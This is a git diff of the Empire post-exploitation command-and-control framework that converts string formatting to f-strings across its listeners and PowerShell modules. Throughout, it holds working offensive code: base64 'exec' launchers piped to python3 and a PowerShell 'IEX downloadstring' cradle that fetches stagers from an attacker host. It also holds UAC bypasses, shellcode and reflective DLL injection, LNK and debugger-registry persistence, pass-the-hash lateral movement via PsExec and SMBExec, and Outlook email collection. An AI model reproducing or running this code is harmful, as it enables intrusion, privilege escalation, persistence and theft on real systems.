69db67820..abd61d03f 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -560,7 +560,7 @@ def start(self): self.options["DefaultProfile"]["Value"].split("|")[0].split(",") ) - hopCodeLocation = "%s/data/misc/hop.php" % (self.mainMenu.installPath) + hopCodeLocation = f"{self.mainMenu.installPath}/data/misc/hop.php" with open(hopCodeLocation) as f: hopCode = f.read() diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 411e1e43e..907a2717d 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -466,7 +466,7 @@ def generate_launcher( if safeChecks and safeChecks.lower() == "true": launcherBase += listener_util.python_safe_checks() - launcherBase += "server='%s'\n" % (host) + launcherBase += f"server='{host}'\n" # ==== CONFIGURE PROXY ==== if proxy and proxy.lower() != "none": @@ -523,10 +523,7 @@ def generate_launcher( # ==== BUILD REQUEST ==== launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" - launcherBase += "req=vreq('{}', {})\n".format( - profile.stager.client.url, - profile.stager.client.body, - ) + launcherBase += f"req=vreq('{profile.stager.client.url}', {profile.stager.client.body})\n" launcherBase += "req.verb='" + profile.stager.client.verb + "'\n" # ==== ADD HEADERS ==== @@ -542,10 +539,7 @@ def generate_launcher( == malleable.Terminator.HEADER ): launcherBase += "head=res.info().dict\n" - launcherBase += "a=head['{}'] if '{}' in head else ''\n".format( - profile.stager.server.output.terminator.arg, - profile.stager.server.output.terminator.arg, - ) + launcherBase += f"a=head['{profile.stager.server.output.terminator.arg}'] if '{profile.stager.server.output.terminator.arg}' in head else ''\n" launcherBase += "a=urllib.parse.unquote(a)\n" elif ( profile.stager.server.output.terminator.type @@ -574,10 +568,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" return launcher else: return launcherBase @@ -882,7 +873,7 @@ def generate_comms(self, listenerOptions, language=None): "$taskURI = " + ",".join( [ - "'%s'" % u + f"'{u}'" for u in ( profile.get.client.uris if profile.get.client.uris @@ -1008,7 +999,7 @@ def generate_comms(self, listenerOptions, language=None): "$taskURI = " + ",".join( [ - "'%s'" % u + f"'{u}'" for u in ( profile.post.client.uris if profile.post.client.uris @@ -1765,8 +1756,8 @@ def handle_request(request_uri="", tempListenerOptions=None): context = ssl.SSLContext(proto) context.load_cert_chain( - "%s/empire-chain.pem" % (certPath), - "%s/empire-priv.key" % (certPath), + f"{certPath}/empire-chain.pem", + f"{certPath}/empire-priv.key", ) if ja3_evasion: diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 57325fc5e..46428ccc0 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -534,7 +534,7 @@ def test_token(token): headers = s.headers.copy() headers["Authorization"] = "Bearer " + token - request = s.get("%s/drive" % base_url, headers=headers) + request = s.get(f"{base_url}/drive", headers=headers) return request.ok @@ -553,7 +553,7 @@ def setup_folders(): "name": base_folder, } base_object = s.post( - "%s/drive/items/root/children" % base_url, json=params + f"{base_url}/drive/items/root/children", json=params ) else: message = f"{listener_name}: {base_folder} folder already exists" @@ -608,8 +608,9 @@ def upload_launcher(): headers={"Content-Type": "application/json"}, ) _launcher_url = ( - "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" - % r.json()["shareId"] + "https://api.onedrive.com/v1.0/shares/{}/driveitem/content".format( + r.json()["shareId"] + ) ) def upload_stager(): @@ -633,8 +634,9 @@ def upload_stager(): headers={"Content-Type": "application/json"}, ) stager_url = ( - "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" - % r.json()["shareId"] + "https://api.onedrive.com/v1.0/shares/{}/driveitem/content".format( + r.json()["shareId"] + ) ) # Different domain for some reason? self.stager_url = stager_url @@ -717,9 +719,7 @@ def upload_stager(): self.token["update"] = False search = s.get( - "{}/drive/root:/{}/{}?expand=children".format( - base_url, base_folder, staging_folder - ) + f"{base_url}/drive/root:/{base_folder}/{staging_folder}?expand=children" ) for item in search.json()[ "children" @@ -741,9 +741,7 @@ def upload_stager(): message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_2.txt, {len(return_val)!s} bytes" self.instance_log.info(message) s.put( - "{}/drive/root:/{}/{}/{}_2.txt:/content".format( - base_url, base_folder, staging_folder, agent_name - ), + f"{base_url}/drive/root:/{base_folder}/{staging_folder}/{agent_name}_2.txt:/content", data=return_val, ) message = f"{listener_name} Deleting {base_folder}/{staging_folder}/{item['name']}" @@ -785,9 +783,7 @@ def upload_stager(): message = f"{listener_name}: Uploading {base_folder}/{staging_folder}/{agent_name}_4.txt, {len(enc_code)!s} bytes" self.instance_log.info(message) s.put( - "{}/drive/root:/{}/{}/{}_4.txt:/content".format( - base_url, base_folder, staging_folder, agent_name - ), + f"{base_url}/drive/root:/{base_folder}/{staging_folder}/{agent_name}_4.txt:/content", data=enc_code, ) message = f"{listener_name}: Deleting {base_folder}/{staging_folder}/{item['name']}" @@ -809,9 +805,7 @@ def upload_stager(): if task_data: try: r = s.get( - "{}/drive/root:/{}/{}/{}.txt:/content".format( - base_url, base_folder, taskings_folder, agent_id - ) + f"{base_url}/drive/root:/{base_folder}/{taskings_folder}/{agent_id}.txt:/content" ) if ( r.status_code == 200 @@ -822,9 +816,7 @@ def upload_stager(): self.instance_log.info(message) r = s.put( - "{}/drive/root:/{}/{}/{}.txt:/content".format( - base_url, base_folder, taskings_folder, agent_id - ), + f"{base_url}/drive/root:/{base_folder}/{taskings_folder}/{agent_id}.txt:/content", data=task_data, ) except Exception as e: @@ -832,9 +824,7 @@ def upload_stager(): self.instance_log.error(message, exc_info=True) search = s.get( - "{}/drive/root:/{}/{}?expand=children".format( - base_url, base_folder, results_folder - ) + f"{base_url}/drive/root:/{base_folder}/{results_folder}?expand=children" ) for item in search.json()[ "children" @@ -849,9 +839,7 @@ def upload_stager(): f"{listener_name}: Invalid agent, deleting {results_folder}/{item['name']} and restaging" ) s.put( - "{}/drive/root:/{}/{}/{}.txt:/content".format( - base_url, base_folder, taskings_folder, agent_id - ), + f"{base_url}/drive/root:/{base_folder}/{taskings_folder}/{agent_id}.txt:/content", data="RESTAGE", ) s.delete("{}/drive/items/{}".format(base_url, item["id"])) diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index 62fae41a0..e87accbd2 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -266,7 +266,7 @@ def generate_launcher( userAgent = profile.split("|")[1] launcherBase += "import urllib.request;\n" - launcherBase += "UA='%s';" % (userAgent) + launcherBase += f"UA='{userAgent}';" launcherBase += f"server='{host}';t='{stage0}';" # prebuild the request routing packet for the launcher @@ -283,8 +283,8 @@ def generate_launcher( launcherBase += "req=urllib.request.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" - launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( - b64RoutingPacket + launcherBase += ( + f"req.add_header('Cookie',\"session={b64RoutingPacket}\");\n" ) # Add custom headers if any @@ -349,10 +349,7 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % launchEncoded - ) + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" return launcher else: return launcherBase @@ -593,25 +590,23 @@ def generate_agent( code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile - code = code.replace("delay = 60", "delay = %s" % (delay)) - code = code.replace("jitter = 0.0", "jitter = %s" % (jitter)) + code = code.replace("delay = 60", f"delay = {delay}") + code = code.replace("jitter = 0.0", f"jitter = {jitter}") code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', - 'profile = "%s"' % (profile), + f'profile = "{profile}"', ) - code = code.replace("lostLimit = 60", "lostLimit = %s" % (lostLimit)) + code = code.replace("lostLimit = 60", f"lostLimit = {lostLimit}") code = code.replace( 'defaultResponse = base64.b64decode("")', - 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse), + f'defaultResponse = base64.b64decode("{b64DefaultResponse}")', ) # patch in the killDate and workingHours if they're specified if killDate != "": - code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) + code = code.replace('killDate = ""', f'killDate = "{killDate}"') if workingHours != "": - code = code.replace( - 'workingHours = ""', 'workingHours = "%s"' % (killDate) - ) + code = code.replace('workingHours = ""', f'workingHours = "{killDate}"') if obfuscate: code = self.mainMenu.obfuscationv2.python_obfuscate(code) @@ -790,19 +785,19 @@ def start(self): } Invoke-Redirector""" - script += " -ConnectHost %s" % ( + script += " -ConnectHost {}".format( self.options["Host"]["Value"] ) - script += " -ConnectPort %s" % ( + script += " -ConnectPort {}".format( self.options["Port"]["Value"] ) - script += " -ListenAddress %s" % ( + script += " -ListenAddress {}".format( tempOptions["internalIP"]["Value"] ) - script += " -ListenPort %s" % ( + script += " -ListenPort {}".format( tempOptions["ListenPort"]["Value"] ) - script += " -FirewallName %s" % (session_id) + script += f" -FirewallName {session_id}" for option in self.options: if option.lower() == "host": diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index afa07e808..e1b2bfbfc 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -131,7 +131,7 @@ def generate_launcher( userAgent = profile.split("|")[1] launcherBase += "import urllib.request;\n" - launcherBase += "UA='%s';" % (userAgent) + launcherBase += f"UA='{userAgent}';" launcherBase += f"server='{host}';t='{stage0}';hop='{listenerName}';" # prebuild the request routing packet for the launcher @@ -148,8 +148,8 @@ def generate_launcher( launcherBase += "req=urllib.request.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" - launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( - b64RoutingPacket + launcherBase += ( + f"req.add_header('Cookie',\"session={b64RoutingPacket}\");\n" ) launcherBase += "req.add_header('Hop-Name', hop);\n" @@ -159,9 +159,8 @@ def generate_launcher( headerKey = header.split(":")[0] headerValue = header.split(":")[1] # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) - launcherBase += 'req.add_header("{}","{}");\n'.format( - headerKey, - headerValue, + launcherBase += ( + f'req.add_header("{headerKey}","{headerValue}");\n' ) if proxy.lower() != "none": @@ -218,10 +217,7 @@ def generate_launcher( launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") ).decode("UTF-8") - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % launchEncoded - ) + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" return launcher else: return launcherBase @@ -351,16 +347,16 @@ def generate_agent( code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile - code = code.replace("delay=60", "delay=%s" % (delay)) - code = code.replace("jitter=0.0", "jitter=%s" % (jitter)) + code = code.replace("delay=60", f"delay={delay}") + code = code.replace("jitter=0.0", f"jitter={jitter}") code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', - 'profile = "%s"' % (profile), + f'profile = "{profile}"', ) code = code.replace( 'self.defaultResponse = base64.b64decode("")', - "self.defaultResponse = base64.b64decode(%s)" % (b64DefaultResponse), + f"self.defaultResponse = base64.b64decode({b64DefaultResponse})", ) if obfuscate: diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index ac53460e4..52df2060e 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -39,7 +39,7 @@ def __init__(self, mainMenu): "Host": { "Description": "Hostname/IP for staging.", "Required": True, - "Value": "http://%s" % (helpers.lhost()), + "Value": f"http://{helpers.lhost()}", }, "BindIP": { "Description": "The IP to bind to on the control server.", @@ -260,9 +260,9 @@ def generate_comms(self, listenerOptions, language=None): if language: if language.lower() == "powershell": updateServers = """ - $Script:ControlServers = @("%s"); + $Script:ControlServers = @("{}"); $Script:ServerIndex = 0; - """ % ( + """.format( listenerOptions["Host"]["Value"] ) diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index 269ebfad2..279d7ad41 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -51,7 +51,7 @@ def generate( script_end = "" if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: %s" % (listener_name)) + return handle_error_message(f"[!] Invalid listener: {listener_name}") else: multi_launcher = main_menu.stagertemplatesv2.new_instance("multi_launcher") multi_launcher.options["Listener"] = params["Listener"] diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py index fb8b43c9c..71b443060 100644 --- a/empire/server/modules/powershell/collection/packet_capture.py +++ b/empire/server/modules/powershell/collection/packet_capture.py @@ -20,10 +20,10 @@ def generate( script = "netsh trace stop" else: - script = "netsh trace start capture=yes traceFile=%s" % (trace_file) + script = f"netsh trace start capture=yes traceFile={trace_file}" if max_size != "": - script += " maxSize=%s" % (max_size) + script += f" maxSize={max_size}" if persistent != "": script += " persistent=yes" diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 51e668d88..6a7795bf7 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -55,9 +55,7 @@ def generate( return handle_error_message("[!] Error in launcher generation.") # set defaults for Empire - script_end = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \\"%s\\"' % ( - command - ) + script_end = "\n" + f'Invoke-InveighRelay -Tool "2" -Command \\"{command}\\"' for option, values in params.items(): if ( diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index 2d5fcf54a..fbf08392f 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -75,11 +75,7 @@ def generate( else: Cmd = "%COMSPEC% /C start /b " + command.replace('"', '\\"') - script_end = "Invoke-DCOM -ComputerName {} -Method {} -Command '{}'".format( - computer_name, - method, - Cmd, - ) + script_end = f"Invoke-DCOM -ComputerName {computer_name} -Method {method} -Command '{Cmd}'" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 7ac2ad29a..34808866f 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -38,15 +38,11 @@ def generate( if command != "": # executing a custom command on the remote machine customCmd = "%COMSPEC% /C start /b " + command.replace('"', '\\"') - script_end += ( - 'Invoke-PsExec -ComputerName {} -ServiceName "{}" -Command "{}"'.format( - computer_name, service_name, customCmd - ) - ) + script_end += f'Invoke-PsExec -ComputerName {computer_name} -ServiceName "{service_name}" -Command "{customCmd}"' if result_file != "": # Store the result in a file - script_end += ' -ResultFile "%s"' % (result_file) + script_end += f' -ResultFile "{result_file}"' else: if not main_menu.listenersv2.get_active_listener_by_name(listener_name): @@ -74,9 +70,7 @@ def generate( "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher ) - script_end += 'Invoke-PsExec -ComputerName {} -ServiceName "{}" -Command "{}"'.format( - computer_name, service_name, stager_cmd - ) + script_end += f'Invoke-PsExec -ComputerName {computer_name} -ServiceName "{service_name}" -Command "{stager_cmd}"' outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index f6f3689d3..42ba1814d 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -76,9 +76,7 @@ def generate( else: Cmd = "%COMSPEC% /C start /b " + command - script_end = "Invoke-SMBExec -Target {} -Username {} -Domain {} -Hash {} -Command '{}'".format( - computer_name, user_name, domain, ntlm_hash, Cmd - ) + script_end = f"Invoke-SMBExec -Target {computer_name} -Username {user_name} -Domain {domain} -Hash {ntlm_hash} -Command '{Cmd}'" outputf = params.get("OutputFunction", "Out-String") script_end += ( f" | {outputf} | " diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py index 9e06d2744..bbf53ee8b 100644 --- a/empire/server/modules/powershell/management/invoke_script.py +++ b/empire/server/modules/powershell/management/invoke_script.py @@ -27,7 +27,7 @@ def generate( script += "\n" - script += "%s" % script_cmd + script += f"{script_cmd}" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py index 951825916..008e16680 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py @@ -26,12 +26,7 @@ def generate( return handle_error_message(err) script = script + "\n" - script_end = ( - "Get-OutlookFolder -Name '{}' | Get-EmailItems -MaxEmails {}".format( - folder_name, - max_emails, - ) - ) + script_end = f"Get-OutlookFolder -Name '{folder_name}' | Get-EmailItems -MaxEmails {max_emails}" outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index d0b2bc89f..6e81c956c 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -40,7 +40,7 @@ def generate( script_end = "" if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: %s" % (listener_name)) + return handle_error_message(f"[!] Invalid listener: {listener_name}") else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( @@ -62,15 +62,11 @@ def generate( launcher_code = launcher.split(" ")[-1] if proc_id != "": - script_end += "Invoke-PSInject -ProcID {} -PoshCode {}".format( - proc_id, - launcher_code, + script_end += ( + f"Invoke-PSInject -ProcID {proc_id} -PoshCode {launcher_code}" ) else: - script_end += "Invoke-PSInject -ProcName {} -PoshCode {}".format( - proc_name, - launcher_code, - ) + script_end += f"Invoke-PSInject -ProcName {proc_name} -PoshCode {launcher_code}" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index deeb78401..58e8e801a 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -50,7 +50,7 @@ def rand_text_alphanumeric( script_end = "" if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: %s" % (listener_name)) + return handle_error_message(f"[!] Invalid listener: {listener_name}") else: # generate the PowerShell one-liner with all of the proper options set launcher = main_menu.stagers.generate_launcher( @@ -70,11 +70,7 @@ def rand_text_alphanumeric( else: launcher_code = launcher.split(" ")[-1] - script_end += ( - "Invoke-ReflectivePEInjection -PEPath {} -ProcName {} ".format( - full_upload_path, proc_name - ) - ) + script_end += f"Invoke-ReflectivePEInjection -PEPath {full_upload_path} -ProcName {proc_name} " dll = main_menu.stagers.generate_dll(launcher_code, arch) upload_script = main_menu.stagers.generate_upload(dll, full_upload_path) @@ -83,7 +79,7 @@ def rand_text_alphanumeric( script += "\r\n" script_end += "\r\n" - script_end += "Remove-Item -Path %s" % full_upload_path + script_end += f"Remove-Item -Path {full_upload_path}" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index 00054a63d..f2739f8f5 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -57,9 +57,7 @@ def generate( encoded_sc = helpers.encode_base64(sc) - script_end = '\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String("{}")) -Force'.format( - proc_id, encoded_sc - ) + script_end = f'\nInvoke-Shellcode -ProcessID {proc_id} -Shellcode $([Convert]::FromBase64String("{encoded_sc}")) -Force' script_end += f"; shellcode injected into pid {proc_id!s}" script = main_menu.modulesv2.finalize_module( diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index 26781f040..ce440a95a 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -60,12 +60,12 @@ def generate( script_end += '"Launcher bat written to $tempLoc `n";\n' script_end += "\nInvoke-RunAs " - script_end += "-UserName %s " % (params["UserName"]) - script_end += "-Password '%s' " % (params["Password"]) + script_end += "-UserName {} ".format(params["UserName"]) + script_end += "-Password '{}' ".format(params["Password"]) domain = params["Domain"] if domain and domain != "": - script_end += "-Domain %s " % (domain) + script_end += f"-Domain {domain} " script_end += r'-Cmd "$env:public\debug.bat"' diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py index 89b014eed..653f40cc5 100644 --- a/empire/server/modules/powershell/management/switch_listener.py +++ b/empire/server/modules/powershell/management/switch_listener.py @@ -20,7 +20,7 @@ def generate( ) if not active_listener: return handle_error_message( - "[!] Listener '%s' doesn't exist!" % (listener_name) + f"[!] Listener '{listener_name}' doesn't exist!" ) listener_options = active_listener.options @@ -30,12 +30,7 @@ def generate( ).generate_comms(listenerOptions=listener_options, language="powershell") # signal the existing listener that we're switching listeners, and the new comms code - script = ( - "Send-Message -Packets $(Encode-Packet -Type 130 -Data '{}');\n{}".format( - listener_name, - script, - ) - ) + script = f"Send-Message -Packets $(Encode-Packet -Type 130 -Data '{listener_name}');\n{script}" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 8eee2bf7e..10dc10e98 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -30,9 +30,7 @@ def generate( if cleanup.lower() == "true": # the registry command to disable the debugger for Utilman.exe - script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\{}';'{} debugger removed.'".format( - target_binary, target_binary - ) + script = f"Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\{target_binary}';'{target_binary} debugger removed.'" script = main_menu.modulesv2.finalize_module( script=script, script_end="", diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index ef0e1531a..b9993550d 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -66,11 +66,9 @@ def generate( if cleanup.lower() == "true": script_end += " -CleanUp" - script_end += " -LNKPath '%s'" % (lnk_path) - script_end += " -RegPath '%s'" % (reg_path) - script_end += "; \"Invoke-BackdoorLNK cleanup run on lnk path '{}' and regPath {}\"".format( - lnk_path, reg_path - ) + script_end += f" -LNKPath '{lnk_path}'" + script_end += f" -RegPath '{reg_path}'" + script_end += f"; \"Invoke-BackdoorLNK cleanup run on lnk path '{lnk_path}' and regPath {reg_path}\"" else: if ext_file != "": @@ -112,11 +110,9 @@ def generate( encScript = launcher.split(" ")[-1] status_msg += "using listener " + listener_name - script_end += " -LNKPath '%s'" % (lnk_path) - script_end += " -EncScript '%s'" % (encScript) - script_end += "; \"Invoke-BackdoorLNK run on path '{}' with stager for listener '{}'\"".format( - lnk_path, listener_name - ) + script_end += f" -LNKPath '{lnk_path}'" + script_end += f" -EncScript '{encScript}'" + script_end += f"; \"Invoke-BackdoorLNK run on path '{lnk_path}' with stager for listener '{listener_name}'\"" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index 4eaeffde0..83c06dd50 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -42,23 +42,21 @@ def generate( else: enc_launcher = " ".join(launcher.split(" ")[1:]) - script = """ -if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1) { - while($True) { - try { - Start-Process "powershell" -ArgumentList "%s" -Verb runAs -WindowStyle hidden + script = f""" +if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1) {{ + while($True) {{ + try {{ + Start-Process "powershell" -ArgumentList "{enc_launcher}" -Verb runAs -WindowStyle hidden "[*] Successfully elevated!" break - } - catch {} - } -} -else { + }} + catch {{}} + }} +}} +else {{ "[!] User is not a local administrator!" -} -""" % ( - enc_launcher - ) +}} +""" script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index cbda43d97..dfed11c02 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -50,7 +50,7 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") else: - script_end = 'Invoke-BypassUAC -Command "%s"' % (launcher) + script_end = f'Invoke-BypassUAC -Command "{launcher}"' script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index e54453dc4..e098f6d25 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -50,7 +50,7 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") else: - script_end = 'Invoke-EnvBypass -Command "%s"' % (enc_script) + script_end = f'Invoke-EnvBypass -Command "{enc_script}"' script = main_menu.modulesv2.finalize_module( script=script, script_end=script_end, diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index 2e6f05756..180fae12d 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -51,7 +51,7 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") else: - script_end = 'Invoke-EventVwrBypass -Command "%s"' % (encScript) + script_end = f'Invoke-EventVwrBypass -Command "{encScript}"' script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index 12593d244..801759516 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -51,7 +51,7 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") else: - script_end = 'Invoke-FodHelperBypass -Command "%s"' % (enc_script) + script_end = f'Invoke-FodHelperBypass -Command "{enc_script}"' script = main_menu.modulesv2.finalize_module( script=script, script_end=script_end, diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index f2ef1972d..2a9d5c9f8 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -51,7 +51,7 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") else: - script_end = 'Invoke-SDCLTBypass -Command "%s"' % (enc_script) + script_end = f'Invoke-SDCLTBypass -Command "{enc_script}"' script = main_menu.modulesv2.finalize_module( script=script, script_end=script_end, diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py index 1a0d50dd8..a7c402d37 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py @@ -34,9 +34,7 @@ def generate( blank_command = "" powershell_command = "" encoded_cradle = "" - cradle = "IEX \"(new-object net.webclient).downloadstring('{}:{}/{}')\"|IEX".format( - host, port, stager - ) + cradle = f"IEX \"(new-object net.webclient).downloadstring('{host}:{port}/{stager}')\"|IEX" # Remove weird chars that could have been added by ISE n = re.compile("(\xef|\xbb|\xbf)") # loop through each character and insert null byte @@ -52,8 +50,8 @@ def generate( except Exception: pass - script_end = 'Invoke-BypassUACTokenManipulation -Arguments "-w 1 -enc %s"' % ( - encoded_cradle + script_end = ( + f'Invoke-BypassUACTokenManipulation -Arguments 